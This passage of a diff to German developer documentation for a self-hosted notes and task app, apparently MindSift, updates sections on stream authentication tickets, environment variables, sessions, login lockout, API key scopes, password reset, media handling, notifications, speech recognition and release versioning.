-H "X-API-Key: mindsift_sec_…" -H "Content-Type: application/json" \
|
||||||
|
-d '{"target":"list_item","listId":"lst_…","content":"Hafermilch","quantity":"2"}'
|
||||||
|
|
||||||
# Aufgabenliste nur lesend freigeben
|
# Aufgabenliste nur lesend freigeben
|
||||||
curl -X POST https://mindsift.example.com/api/v1/task-lists/tkl_…/shares \
|
curl -X POST https://mindsift.example.com/api/v1/task-lists/tkl_…/shares \
|
||||||
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
|
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ Der Client versucht zuerst WebSocket und wechselt in folgenden Fällen für die
|
|||||||
|
|
||||||
Ohne WebSocket und SSE nutzt die Notiz-Synchronisation Long-Polling (`GET /docs/{id}/changes`, bis 25 s), und wenn auch das dreimal scheitert, eine Abfrage alle 3 s (siehe [modules/workspace.md](../modules/workspace.md)).
|
Ohne WebSocket und SSE nutzt die Notiz-Synchronisation Long-Polling (`GET /docs/{id}/changes`, bis 25 s), und wenn auch das dreimal scheitert, eine Abfrage alle 3 s (siehe [modules/workspace.md](../modules/workspace.md)).
|
||||||
|
|
||||||
**Authentifizierung:** Token als `?token=<JWT|API-Key>` oder `Authorization`-Header. Ohne gültiges Token antworten `/ws` und `/events` mit `401`. Das Token wird nur beim Verbinden geprüft ([FLAW-22](../flaws.md)).
|
**Authentifizierung:** Browser holen sich direkt vor dem Verbinden ein Einmal-Ticket (`POST /auth/stream-ticket` mit dem normalen `Authorization`-Header → `{ticket, expiresIn: 60}`) und hängen es als `?ticket=` an; es gilt 60 Sekunden und einmal und wird ungültig, sobald alle Sitzungen beendet werden. Andere Clients dürfen stattdessen den `Authorization`-Header schicken. Sitzungs-Tokens in der URL und API-Keys werden nicht angenommen (`401`). Bei Logout, „Alle Sitzungen beenden“, neuem Passwort und Deaktivierung trennt der Server alle Streams des Kontos; Clients mit gültiger Sitzung verbinden sich mit neuem Ticket neu. Mit gesetzter `BASE_URL` nimmt der WebSocket nur Verbindungen von dieser Adresse oder vom angefragten Host an.
|
||||||
|
|
||||||
**Räume:** Jeder Beitritt (Raum in der URL, `JOIN_ROOM`, SSE-Startparameter `rooms`/`docId`, `POST /events/rooms`) wird geprüft: `doc:<id>` nur mit Lesezugriff auf die Notiz, sonst muss die ID eine lesbare geteilte Liste sein. Nicht erlaubte Räume werden ignoriert, `POST /events/rooms` antwortet dann mit `403`. SSE-Räume kann nur der Besitzer der jeweiligen `sseId` ändern.
|
**Räume:** Jeder Beitritt (Raum in der URL, `JOIN_ROOM`, SSE-Startparameter `rooms`/`docId`, `POST /events/rooms`) wird geprüft: `doc:<id>` nur mit Lesezugriff auf die Notiz, sonst muss die ID eine lesbare geteilte Liste sein. Nicht erlaubte Räume werden ignoriert, `POST /events/rooms` antwortet dann mit `403`. SSE-Räume kann nur der Besitzer der jeweiligen `sseId` ändern.
|
||||||
|
|
||||||
@@ -55,6 +55,7 @@ Client → Server versteht der Server nur: `{"event":"JOIN_ROOM","room":"<id>"}`
|
|||||||
| `LIST_CREATED`, `LIST_UPDATED`, `LIST_DELETED`, `LIST_SHARED`, `LIST_UNSHARED`, `LIST_CLEARED` | Listenverwaltung | Benutzer bzw. Raum der Liste |
|
| `LIST_CREATED`, `LIST_UPDATED`, `LIST_DELETED`, `LIST_SHARED`, `LIST_UNSHARED`, `LIST_CLEARED` | Listenverwaltung | Benutzer bzw. Raum der Liste |
|
||||||
| `ITEM_CREATED`, `ITEM_UPDATED`, `ITEM_TOGGLED`, `ITEM_DELETED`, `ITEM_REORDERED` | Listeneinträge | Raum der Liste |
|
| `ITEM_CREATED`, `ITEM_UPDATED`, `ITEM_TOGGLED`, `ITEM_DELETED`, `ITEM_REORDERED` | Listeneinträge | Raum der Liste |
|
||||||
| `USER_PRESENCE` | Verbindung auf-/abgebaut (`onlineCount`) | Raum |
|
| `USER_PRESENCE` | Verbindung auf-/abgebaut (`onlineCount`) | Raum |
|
||||||
|
| `DEMO_RESET` | Periodischer Reset im Demo-Modus; Clients verwerfen lokale Caches und laden Daten neu | Alle aktiven Verbindungen |
|
||||||
| `SSE_CONNECTED` | Nur SSE, direkt nach Verbindung | Verbindung |
|
| `SSE_CONNECTED` | Nur SSE, direkt nach Verbindung | Verbindung |
|
||||||
|
|
||||||
## Verhalten im Frontend
|
## Verhalten im Frontend
|
||||||
|
|||||||
@@ -30,8 +30,8 @@ Das Frontend liegt per `go:embed` im Binary ([cmd/server/main.go](../cmd/server/
|
|||||||
| Pfad | Inhalt |
|
| Pfad | Inhalt |
|
||||||
|---|---|
|
|---|---|
|
||||||
| `cmd/server/` | `main.go`, eingebettetes `dist/` |
|
| `cmd/server/` | `main.go`, eingebettetes `dist/` |
|
||||||
| `internal/api/` | `server.go` (Routen, Handler, Alarm-Ticker, SMTP/Discord/Webhook-Versand) |
|
| `internal/api/` | `server.go` (Server, Router mit allen Routen, Middleware, JSON-Helfer); Handler nach Bereich in `handlers_*.go` (`auth`, `account`, `thoughts`, `documents`, `folders`, `lists`, `tasklists`, `teams`, `admin`, `integrations`), `realtime.go` (WebSocket/SSE), `alarms.go` (Ticker und Versand), `docsync.go`, `mail.go`, `netguard.go`, `password_reset.go` |
|
||||||
| `internal/storage/` | `sqlite.go` (Schema, Migrationen, gesamte Datenlogik) |
|
| `internal/storage/` | `sqlite.go` (Store, Schema, Migrationen); Datenlogik nach Bereich: `users.go`, `apikeys.go`, `thoughts.go` (inkl. Alarme), `tasklists.go`, `documents.go`, `folders.go`, `tags.go`, `lists.go`, `teams.go`, `system.go` (Einstellungen, Statistik, Export), dazu `visibility.go`, `docsync.go`, `search.go`, `trash.go`, `backlinks.go`, `recurrence.go` u. a. |
|
||||||
| `internal/domain/` | Strukturen (`models.go`), ID-Erzeugung, Tag-Extraktion |
|
| `internal/domain/` | Strukturen (`models.go`), ID-Erzeugung, Tag-Extraktion |
|
||||||
| `internal/ws/` | `hub.go` |
|
| `internal/ws/` | `hub.go` |
|
||||||
| `internal/collab/` | Kern der Notiz-Synchronisation ohne Datenbank: Blockbaum, Operationen und Konfliktregeln, Sortierschlüssel, Leases, Long-Poll-Benachrichtigung |
|
| `internal/collab/` | Kern der Notiz-Synchronisation ohne Datenbank: Blockbaum, Operationen und Konfliktregeln, Sortierschlüssel, Leases, Long-Poll-Benachrichtigung |
|
||||||
@@ -58,26 +58,74 @@ Das Frontend liegt per `go:embed` im Binary ([cmd/server/main.go](../cmd/server/
|
|||||||
| `PORT` | `8080` | HTTP-Port |
|
| `PORT` | `8080` | HTTP-Port |
|
||||||
| `DATA_DIR` | `./data` (Container: `/data`) | Verzeichnis der Datenbank |
|
| `DATA_DIR` | `./data` (Container: `/data`) | Verzeichnis der Datenbank |
|
||||||
| `DATABASE_URL` | leer | `sqlite:///pfad/datei.db` oder Pfad; ohne Angabe `DATA_DIR/mindsift.db`. Postgres-URLs werden **nicht** unterstützt (siehe Hinweis) |
|
| `DATABASE_URL` | leer | `sqlite:///pfad/datei.db` oder Pfad; ohne Angabe `DATA_DIR/mindsift.db`. Postgres-URLs werden **nicht** unterstützt (siehe Hinweis) |
|
||||||
| `JWT_SECRET` | festes Fallback (unsicher!) | Signaturschlüssel der Tokens; unbedingt setzen, siehe [FLAW-04](flaws.md) |
|
| `JWT_SECRET` | zufällig erzeugt, gespeichert in `$DATA_DIR/jwt.secret` | Signaturschlüssel der Tokens; bekannte Platzhalter werden ignoriert |
|
||||||
| `BASE_URL` | `http://localhost:<PORT>` | Basis-URL der Instanz |
|
| `TRUSTED_PROXIES` | `private` | Proxys, deren `X-Forwarded-For`/`X-Real-IP` geglaubt wird (`private`, `all`, `none`, CIDR-Liste); `internal/api/clientip.go` |
|
||||||
| `ALLOW_REGISTRATION` | `false` | Startwert; die Einstellung im Admin-UI (`system_settings`) hat Vorrang |
|
| `LOGIN_PROTECTION` | `true` | Login-Sperre nach Fehlversuchen und Limits für Registrierung und „Passwort vergessen“ (`internal/api/loginguard.go`), `false` = aus |
|
||||||
|
| `BASE_URL` | `http://localhost:<PORT>` | Basis-URL der Instanz; explizit gesetzt Voraussetzung für das Passwort-Zurücksetzen per Mail |
|
||||||
|
| `TZ` | `Europe/Berlin` | Zeitzone für Fälligkeiten und Alarme; die Zeitzonendaten sind ins Binary eingebettet (`time/tzdata`) |
|
||||||
|
| `REGISTRATION_MODE`, `REGISTRATION_DOMAINS` | leer | Registrierung ohne Einladung (`closed`, `approval`, `domain`, `domain+approval`, `open`) und erlaubte E-Mail-Endungen. Gesetzt gewinnen sie über `system_settings` und sind im Admin-UI gesperrt (`registrationPolicy` in `internal/api/registration.go`). Wartende Konten: `is_active = 0` plus Zeile in `pending_registrations` (Migration 10) |
|
||||||
|
| `REGISTRATION_VERIFY_EMAIL` | leer | E-Mail-Bestätigung neuer Konten ohne Einladung (nur mit SMTP und `BASE_URL`). Token wie beim Passwort-Link nur als SHA-256 in `email_verifications` (Migration 11), 48 Stunden gültig; danach löscht die Verdichtung das unbestätigte Konto. Bei Freigabe-Modi erfahren Admins erst nach der Bestätigung davon |
|
||||||
|
| `ALLOW_REGISTRATION` | `false` | `true` = `REGISTRATION_MODE=open`; `false` (Standard der Vorlagen) lässt die Wahl dem Admin-UI |
|
||||||
| `LOG_LEVEL` / `DEBUG` | `info` / `false` | `debug`, `info`, `warn`, `error`; `DEBUG=true` erzwingt `debug` |
|
| `LOG_LEVEL` / `DEBUG` | `info` / `false` | `debug`, `info`, `warn`, `error`; `DEBUG=true` erzwingt `debug` |
|
||||||
| `MINDA_DEMO` (auch `MINDSIFT_DEMO`, `DEMO_MODE`) | `false` | Demo-Konten anlegen |
|
| `MINDA_DEMO` (auch `MINDSIFT_DEMO`, `DEMO_MODE`) | `false` | Demo-Konten anlegen. Die Demo verschickt nichts (keine Alarme, Test- oder Hinweismails, Webhooks), Server-Einstellungen sind schreibgeschützt, Passwort, E-Mail und Konten der gemeinsam genutzten Demo-Konten lassen sich nicht ändern (`notInDemo` in `internal/api/demo.go`). Wer auf einem Gerät noch kein Theme gewählt hat, sieht die Demo in Fjord Nacht (rund) statt im eckigen Standard (`DEMO_THEME` in `lib/theme.ts`) |
|
||||||
|
| `DEMO_RESET_MINUTES` | `20` | Demo-Modus: periodischer Reset auf die Beispieldaten (`0` = aus). Feste IDs der Demo-Konten (`usr_demo_admin`, `usr_demo_user`) halten Sitzungen gültig; laufende Anfragen sperren den Reset (`internal/api/demo.go`, Streams ausgenommen); danach `DEMO_RESET` an alle Verbindungen, `/auth/status` liefert `demoNextReset`/`demoResetInSeconds`. |
|
||||||
| `SMTP_HOST`, `SMTP_PORT`, `SMTP_USER`, `SMTP_PASS`, `SMTP_FROM`, `SMTP_TLS` | leer / `587` / `true` | Mailversand, auch im Admin-UI einstellbar |
|
| `SMTP_HOST`, `SMTP_PORT`, `SMTP_USER`, `SMTP_PASS`, `SMTP_FROM`, `SMTP_TLS` | leer / `587` / `true` | Mailversand, auch im Admin-UI einstellbar |
|
||||||
|
| `SMTP_FROM_NAME` | `MindSift` | Anzeigename des Absenders, wenn `SMTP_FROM` nur eine Adresse ist (`From: "MindSift" <adresse>`, der SMTP-Umschlag bleibt die reine Adresse); ein Name in `SMTP_FROM` hat Vorrang |
|
||||||
|
| `SMTP_SKIP_VERIFY` | `false` | Zertifikat des Mailservers nicht prüfen (nur interne Server mit selbstsigniertem Zertifikat) |
|
||||||
|
| `NOTIFY_DIGEST_MINUTES` | `5` | Benachrichtigungen (Freigaben, beobachtete Aufgaben …) werden gesammelt und höchstens alle so viele Minuten gebündelt verschickt |
|
||||||
|
| `VAPID_PUBLIC_KEY` / `VAPID_PRIVATE_KEY` | – | Schlüsselpaar für Web-Push; ohne Angabe einmal erzeugt und in `push_keys` gespeichert |
|
||||||
|
| `VAPID_SUBJECT` | `BASE_URL` (wenn https) | Kontakt für die Push-Dienste (`mailto:` oder `https://`) |
|
||||||
|
| `MEDIA_MAX_IMAGE_MB`, `MEDIA_MAX_AUDIO_MB` | `15` / `50` | Größtes Bild bzw. größte Audiodatei in Notizen in MB |
|
||||||
|
| `MEDIA_QUOTA_MB` | `0` | Speicherplatz für Medien pro Benutzer in MB (`0` = unbegrenzt) |
|
||||||
|
| `MEDIA_DEMO_MAX_MB` | `3` | Nur im Demo-Modus: maximale Dateigröße für Medien-Uploads in MB |
|
||||||
|
| `STT_URL` | leer | Eigene Spracherkennung: Basis-URL eines OpenAI-kompatiblen Whisper-Servers (z. B. `http://whisper:8000`, speaches). Gesetzt = Server-Modus, sonst Spracherkennung des Browsers; in der Demo immer Browser |
|
||||||
|
| `STT_MODEL`, `STT_LANGUAGE`, `STT_API_KEY` | `deepdml/faster-whisper-large-v3-turbo-ct2` / `de` / leer | Modell, Sprache (`auto` = erkennen), Schlüssel falls der Whisper-Server einen verlangt |
|
||||||
|
| `STT_DISABLED` | `false` | `true` blendet die Spracheingabe überall aus |
|
||||||
|
| `STT_MAX_SECONDS`, `STT_MAX_UPLOAD_MB` | `600` / `25` | Längste Aufnahme (stoppt im Browser), größte Aufnahme |
|
||||||
|
| `STT_MAX_PARALLEL`, `STT_PER_USER_PER_HOUR`, `STT_TIMEOUT_SECONDS` | `1` / `60` / `120` | Gleichzeitige Erkennungen (weitere warten), Erkennungen pro Person und Stunde, Höchstdauer inkl. Warten |
|
||||||
|
| `LEGAL_IMPRINT_URL`, `LEGAL_PRIVACY_URL` | leer | Impressum/Datenschutz als externer Link (nur `http(s)`) |
|
||||||
|
| `LEGAL_IMPRINT_CONTENT`, `LEGAL_PRIVACY_CONTENT` | leer | Impressum/Datenschutz als Markdown, angezeigt in einem Lesefenster |
|
||||||
|
| `LEGAL_IMPRINT_CONTENT_FILE`, `LEGAL_PRIVACY_CONTENT_FILE` | leer | Pfad zu einer Datei im Container mit Markdown-Inhalt für Impressum bzw. Datenschutz. Ohne URL und Text bleibt der Link unsichtbar. |
|
||||||
|
| `LEGAL_CUSTOM_LINK_LABEL`, `LEGAL_CUSTOM_LINK_URL` | leer | Eigener Link im globalen Desktop-Footer (nur `https://`, sonst ignoriert) |
|
||||||
|
|
||||||
Hinweis: `DATABASE_URL` mit `postgres…` führt dazu, dass der Standardpfad in `DATA_DIR` genutzt wird; Postgres ist nicht implementiert.
|
Hinweis: `DATABASE_URL` mit `postgres…` führt dazu, dass der Standardpfad in `DATA_DIR` genutzt wird; Postgres ist nicht implementiert.
|
||||||
|
|
||||||
## Authentifizierung
|
## Authentifizierung
|
||||||
|
|
||||||
- **Login** mit E-Mail, Benutzername (aus dem E-Mail-Präfix) oder `login`. Passwörter: bcrypt (`DefaultCost`).
|
- **Login** mit E-Mail, Benutzername (aus dem E-Mail-Präfix) oder `login`. Passwörter: bcrypt (`DefaultCost`).
|
||||||
- **JWT:** HS256, Laufzeit 30 Tage, Claims `userId`, `email`, `displayName`, `tokenVersion`, `jti`. Gültig nur, wenn Token nicht in `revoked_tokens` steht, das Konto aktiv ist und `tokenVersion` mit `users.token_version` übereinstimmt. `token_version` wird bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ erhöht.
|
- **Login-Sperre:** Fehlversuche zählen im Speicher in drei Töpfen: Konto + Adresse (3), Konto (20), Adresse (30), je innerhalb von 15 Minuten; ist einer voll, gibt es 15 Minuten lang `429` mit `Retry-After`. Unbekannte Namen zählen wie Konten (kein Erraten, welche existieren). Erfolg leert die Kontotöpfe, ein Passwort-Reset (Mail oder Admin) hebt die Sperre auf. Die Client-Adresse kommt nur von vertrauenswürdigen Proxys (`TRUSTED_PROXIES`). Dieselben Töpfe begrenzen pro Adresse Registrierungen (20) und „Passwort vergessen“ (10) je 15 Minuten; hier zählt jede Anfrage.
|
||||||
- **Logout** schreibt den Token-Hash in `revoked_tokens`.
|
- **Einladungscodes:** `INV-` plus 100 Zufallsbits in Base32. Die Registrierung beansprucht den Code, bevor das Konto entsteht (kein doppeltes Einlösen).
|
||||||
- **API-Keys:** `mindsift_sec_<hex>`, gespeichert als SHA-256, nur das Präfix bleibt sichtbar. Der Key gilt als Bearer-Token oder in `X-API-Key` und authentifiziert als Besitzer ([FLAW-07](flaws.md)).
|
- **JWT und Sitzungen:** HS256, Claims `userId`, `email`, `displayName`, `tokenVersion`, `jti`. Jede Anmeldung legt eine Zeile in `sessions` an (Gerät, IP, letzte Nutzung); `jti` ist deren ID. Gültig ist ein Token nur, wenn die Sitzung aktiv ist (nicht beendet, höchstens 30 Tage unbenutzt), das Konto aktiv ist und `tokenVersion` mit `users.token_version` übereinstimmt. Ist das Token älter als 24 Stunden, schickt der Server im Header `X-Session-Token` ein neues für dieselbe Sitzung; das Frontend übernimmt es (`request()` in `lib/api.ts`). Aktive Geräte bleiben so angemeldet, unbenutzte fallen nach 30 Tagen heraus (`internal/api/sessions.go`). Neue Passwörter brauchen mindestens 8 Zeichen (`auth.ValidatePassword`). `token_version` wird bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ erhöht.
|
||||||
|
- **Logout** beendet die Sitzung des Geräts; `GET /auth/sessions` listet die Geräte, `DELETE /auth/sessions/{id}` meldet eines ab. Passwort und Login-E-Mail ändern sich nur mit dem aktuellen Passwort (`currentPassword`, falsche Eingaben zählen für die Login-Sperre); ein neues Passwort meldet alle anderen Geräte ab, dieses Gerät erhält per `X-Session-Token` ein neues Token. Ist SMTP eingerichtet, geht eine Hinweismail an die bisherige Adresse.
|
||||||
|
- **API-Keys:** `mindsift_sec_<hex>`, gespeichert als SHA-256, nur das Präfix bleibt sichtbar. Der Key gilt als Bearer-Token oder in `X-API-Key`. Scopes `webhook:*` liefern Daten an (`POST /inbox`, `POST /webhooks/ingest`), die Agenten-Scopes `tasks:read`, `tasks:write`, `lists:read`, `lists:write` gelten nur am MCP-Endpunkt (`POST /mcp`, `internal/api/mcp.go`); jedes Werkzeug prüft seinen Scope, `tools/list` zeigt nur erlaubte. Alle anderen Endpunkte antworten für Keys mit `403`; Notizen sind mit Keys nie erreichbar.
|
||||||
|
- **Passwort vergessen:** nur wenn SMTP und `BASE_URL` gesetzt sind (nicht im Demo-Modus; `passwordReset` in `/auth/status`). `POST /auth/forgot-password` antwortet immer gleich und verschickt die Mail im Hintergrund, höchstens alle 2 Minuten pro Konto. Der Link `BASE_URL/?resetToken=…` gilt eine Stunde und einmal; gespeichert wird nur der SHA-256-Hash (`password_reset_tokens`). `POST /auth/reset-password` setzt das Passwort, entwertet alle offenen Links des Kontos und erhöht `token_version` (alle Sitzungen enden). Die App entfernt den Token sofort aus der Adresszeile.
|
||||||
- **Registrierung:** nur mit Einladungscode oder wenn `allow_registration` aktiv ist. Das erste Konto entsteht über `/auth/setup` und wird Administrator.
|
- **Registrierung:** nur mit Einladungscode oder wenn `allow_registration` aktiv ist. Das erste Konto entsteht über `/auth/setup` und wird Administrator.
|
||||||
|
|
||||||
|
## Medien in Notizen
|
||||||
|
|
||||||
|
Bilder und Audio liegen in `$DATA_DIR/media/<docId>/<id>.<ext>`, beschrieben in der Tabelle `media` (Migration 5, `internal/storage/media.go`). Ein Block verweist über seinen Inhalt darauf, z. B. Typ `image` mit ``; damit laufen Verweise ohne Änderung am Sync-Modell durch Synchronisation, Rückgängig und Konflikte. Hochladen (`POST /documents/{id}/media`) braucht Schreibrecht auf die Notiz, Lesen (`GET /media/{id}`) Leserecht auf die Notiz der Datei oder auf eine Notiz, deren Blöcke sie zeigen (kopierte Blöcke). Das Format wird am Inhalt erkannt (JPEG, PNG, GIF, WebP; WebM, Ogg, MP3, WAV, M4A), SVG und alles andere wird abgelehnt; Antworten tragen eine eigene CSP mit `sandbox`. Externe Bilder kopiert der Server einmal (`POST /documents/{id}/media/fetch`, nur https und öffentliche Adressen wie bei Webhooks, nicht in der Demo). Grenzen: `MEDIA_MAX_IMAGE_MB`, `MEDIA_MAX_AUDIO_MB`, `MEDIA_QUOTA_MB`, in der Demo `MEDIA_DEMO_MAX_MB`. Backup-ZIP (`media/<id><ext>`) und Markdown-Archiv (`attachments/`, Einbettung `` relativ zur Notiz) enthalten die Dateien der eigenen Notizen; beim Import bekommen sie neue IDs. Der Obsidian-Import übernimmt Bilder und Audio, die eine Notiz allein in einem Punkt einbettet (`![[datei.png]]` oder ``); andere Dateien erscheinen in der Vorschau als übersprungen. Die Verdichtung (alle 6 Stunden) löscht Dateien, die kein Block mehr erwähnt (auch keine gelöschten im Papierkorb oder Protokoll), frühestens einen Tag nach dem Hochladen. Der Demo-Reset leert `media/`.
|
||||||
|
|
||||||
|
## Notizen umbauen
|
||||||
|
|
||||||
|
`internal/storage/restructure.go`: **Ast auslagern** liest den Ast und legt die neue Notiz an (Titel eindeutig, gleiche direkte und Gruppen-Freigaben, Besitzer der Ursprungsnotiz bekommt Schreibrecht). Den Ast in der Ursprungsnotiz ersetzt der Editor selbst durch `[[Titel]]` (Hashtags bleiben am Link) – als eigene Änderung über die Sync-Engine, damit sie nicht mit ungesendeten Eingaben kollidiert und Strg+Z sie zurücknimmt; dabei legt `/extract/undo` die neue Notiz in den Papierkorb. **Zusammenführen** hängt die Quelle als `h2`-Überschrift mit ihren Punkten als Unterpunkte an die Zielnotiz an (ebenfalls über Operationen, offene Editoren folgen live) und legt die Quelle in den Papierkorb; „Rückgängig“ löscht die Überschrift samt Unterpunkten und stellt die Quelle wieder her. Die Aktion läuft im Namen des Editor-Clients (`clientId`), damit dessen eigene Block-Sperren nicht stören. Bilder und Aufnahmen funktionieren weiter, weil der Zugriff über die Notizen läuft, die sie zeigen.
|
||||||
|
|
||||||
|
## Benachrichtigungen
|
||||||
|
|
||||||
|
`internal/api/notify.go`, `internal/storage/notifications.go` (Migration 7). Jede Person wählt pro Ereignisart die Kanäle – eigene E-Mail (Alarm-Adresse, sonst Konto-Adresse) eigener Discord-Webhook, eigener Webhook (`customWebhookUrl`, JSON per POST) und Web-Push an die eigenen Geräte (`internal/api/push.go`, Migration 9, Tabelle `push_subscriptions`; Geräte, die der Push-Dienst nicht mehr kennt (404/410), werden entfernt) –, gespeichert als JSON in `users.notification_settings` (`GET /auth/me`, `PATCH /auth/settings` → `notificationSettings`). Ereignisse: `due` (Fälligkeits-Alarm, sofort über den Alarm-Ticker), `shared` (Notiz, Ordner, Aufgabenliste oder Liste geteilt; bei Gruppen alle Mitglieder), `taskDone` (Aufgabe einer geteilten Liste erledigt), `watched` (jede Änderung an einer beobachteten Aufgabe, `task_watchers`, `POST/DELETE /tasks/{id}/watch`). Alles außer `due` landet in `notification_queue`; ein Job im Minutentakt schickt je Person eine gebündelte Nachricht, sobald das älteste Ereignis `NOTIFY_DIGEST_MINUTES` (Standard 5) alt ist (E-Mail als Text + HTML, Discord als ein Embed mit höchstens 10 Zeilen, eigener Webhook als JSON `{"event":"digest","heading","items":[{"kind","title","text"}],"link","timestamp"}`; fällige Aufgaben gehen dort als `{"event":"task_due",…}` einzeln raus), nach 3 Fehlversuchen wird verworfen. Eigene Änderungen benachrichtigen nie den Handelnden, außer bei beobachteten Aufgaben mit `includeOwnWatched`. `paused` stoppt alles, auch Alarme. **Tageszusammenfassung:** zur gewählten Uhrzeit (Server-Zeitzone, innerhalb von 30 Minuten, einmal pro Tag) überfällige, heutige und morgige offene Aufgaben samt Anzahl der folgenden 7 Tage; nichts fällig → keine Nachricht. Im Demo-Modus laufen die Jobs nicht.
|
||||||
|
|
||||||
|
## Link-Vorschau
|
||||||
|
|
||||||
|
Punkte mit einer reinen https-Adresse zeigen darüber eine Karte (`LinkPreviewCard`, `lib/linkPreview.ts`). `GET /link-preview?url=` holt die Seite serverseitig mit demselben Schutz wie Webhooks (nur https, keine internen Adressen, Weiterleitungen geprüft), liest `og:*`/`twitter:*`, `<title>`, `description` und das Icon aus dem `<head>` (höchstens 1 MB HTML, Bild 2 MB, Icon 100 KB, kein SVG) und speichert alles in `link_previews` (Migration 6): Erfolg 7 Tage, nichts Brauchbares 1 Tag, nach 30 Tagen gelöscht. Bilder kommen über `GET /link-preview/{key}/image|icon` mit Login. Pro Adresse höchstens 300 Abrufe in 15 Minuten (Antworten aus dem Cache zählen nicht). Ausblenden einer Karte macht aus der Adresse `[Titel](url)` (ein benannter Link hat keine Karte), damit synchronisiert die Wahl mit der Notiz; „Link-Vorschauen anzeigen“ unter Darstellung gilt pro Gerät. Im Demo-Modus aus.
|
||||||
|
|
||||||
|
## Spracherkennung
|
||||||
|
|
||||||
|
Nur über Umgebungsvariablen (`STT_*`, siehe oben), nicht in der Oberfläche; Administration → Server & Isolation zeigt den aktiven Modus, den Zustand des Whisper-Servers und bietet eine Testaufnahme. Alle Mikrofon-Knöpfe (Quick-Dump-Leiste, mobiles Erfassen-Sheet, Halten des +-Knopfs) nutzen denselben Hook `useVoiceInput` (`frontend/src/lib/voice.ts`, `useVoiceInput.ts`): `server` nimmt auf und zeigt „Wird erkannt…“, `browser` liefert Text schon beim Sprechen, `off` oder ein Browser ohne die nötige Funktion blendet das Mikrofon aus. Im Server-Modus zeigen Wellen den echten Mikrofonpegel (`VoiceWave`), die Aufnahme endet spätestens nach `STT_MAX_SECONDS`. Der Browser nimmt per `MediaRecorder` auf (WebM/Opus, in Safari MP4/AAC) und schickt die Aufnahme an `POST /voice/transcribe`; MindSift reicht sie an `STT_URL/v1/audio/transcriptions` weiter (`model`, `language`) und gibt nur den Text zurück. Nichts wird gespeichert oder protokolliert außer Fehlern (`internal/api/voice.go`). Beim Start wartet MindSift auf den Whisper-Server und stößt den Download des Modells an, falls es fehlt (`POST /v1/models/<id>` bei speaches).
|
||||||
|
|
||||||
|
`docker-compose.yml` enthält den Dienst `whisper` (speaches 0.8.3, CPU) als auskommentierten Block: Rauten entfernen, `STT_URL=http://whisper:8000` in `.env` setzen, `docker compose up -d`; das Modell liegt in `./whisper` (Ordner gehört UID 1000). Gemessen auf einem Desktop mit 16 Kernen (int8) für einen Satz von 4 s: `Systran/faster-whisper-small` 1,6 s, `deepdml/faster-whisper-large-v3-turbo-ct2` 8 s bei besserer Erkennung (RAM ca. 1 bzw. 2 GB). Auf geteilten vCPUs ist mit dem Mehrfachen zu rechnen.
|
||||||
|
|
||||||
## Hintergrundjob: Alarme
|
## Hintergrundjob: Alarme
|
||||||
|
|
||||||
`startAlarmTicker` prüft jede Minute alle offenen, noch nicht gemeldeten Aufgaben mit Fälligkeit. Ist `due_date <= heute` (Serverzeit), sendet er über die Kanäle des Benutzers (`email`, `discord`, `webhook`) und setzt `alarm_sent`, sobald mindestens ein Kanal erfolgreich war. Details und Einschränkungen: [modules/tasks.md](modules/tasks.md), [FLAW-12](flaws.md).
|
`startAlarmTicker` prüft jede Minute alle offenen, noch nicht gemeldeten Aufgaben mit Fälligkeit. Ist der Alarmzeitpunkt erreicht (Fälligkeit mit Uhrzeit bzw. 9:00 bei ganztägigen Aufgaben, minus Vorlaufzeit des Benutzers, Zeitzone `TZ`), sendet er über die Kanäle des Benutzers (`email`, `discord`, `webhook`) und setzt `alarm_sent`, sobald mindestens ein Kanal erfolgreich war. Nach 3 Durchläufen ohne Erfolg gibt er auf (`alarm_failures`). Details und Einschränkungen: [modules/tasks.md](modules/tasks.md).
|
||||||
|
|
||||||
## Hintergrundjob: Verdichtung der Notiz-Synchronisation
|
## Hintergrundjob: Verdichtung der Notiz-Synchronisation
|
||||||
|
|
||||||
@@ -91,6 +139,47 @@ Stage 2 golang:1.23 go vet, go test, go build → /app/mindsift (
|
|||||||
Stage 3 alpine:3.21 nur Binary, ca-certificates, tzdata
|
Stage 3 alpine:3.21 nur Binary, ca-certificates, tzdata
|
||||||
```
|
```
|
||||||
|
|
||||||
Die angezeigte Version (Kopf der App) setzt der Build-Parameter `APP_VERSION`: Die CI übergibt bei Git-Tags den Tag-Namen (`v0.2`), sonst zeigt die App die Version aus `frontend/package.json` mit `-dev` (`v0.2-dev`). Umgesetzt in `frontend/vite.config.ts` und `frontend/src/version.ts`.
|
**Image-Tags (CI):** Push auf `dev` → `:dev`; Push/Merge auf `main` → `:latest`; Git-Tag `v*` (z. B. `v1.2.0`) → `:v1.2.0` und `:stable`; Vorabversionen (`v1.2.0-rc.1`) nur `:v1.2.0-rc.1`, `:stable` bleibt. Andere Branches bauen nicht.
|
||||||
|
|
||||||
|
**Versionierung:** Ab v0.6.0 nach [Semantic Versioning](https://semver.org/spec/v2.0.0.html): `MAJOR.MINOR.PATCH`, Tags dreiteilig mit `v` (`v0.6.0`, `v1.0.0-rc.1`). Solange die Hauptversion 0 ist, erhöhen inkompatible Änderungen (API, Datenformate, Konfiguration) die mittlere Stelle, Fehlerbehebungen die letzte. Jede Änderung, die Benutzer oder Betreiber betrifft, kommt in [CHANGELOG.md](../CHANGELOG.md) unter „Unreleased“ (Format [Keep a Changelog](https://keepachangelog.com/de/1.1.0/)); beim Release wird der Abschnitt zur Version mit Datum, `frontend/package.json` bekommt die Versionsnummer.
|
||||||
|
|
||||||
|
Die angezeigte Version (Kopf der App) setzt der Build-Parameter `APP_VERSION`: Die CI übergibt bei Git-Tags den Tag-Namen (`v0.6.0`), sonst zeigt die App die Version aus `frontend/package.json` mit `-dev` (`v0.6.0-dev`). Umgesetzt in `frontend/vite.config.ts` und `frontend/src/version.ts`.
|
||||||
|
|
||||||
Die Tests laufen beim Image-Build (Frontend: `npm run test:run`, Backend: `go test -v ./...`); ein Fehler bricht den Build ab. Frontend-Tests liegen unter `frontend/src/**/__tests__/` (Vitest + jsdom + Testing Library, Setup in `frontend/src/test/setup.ts`).
|
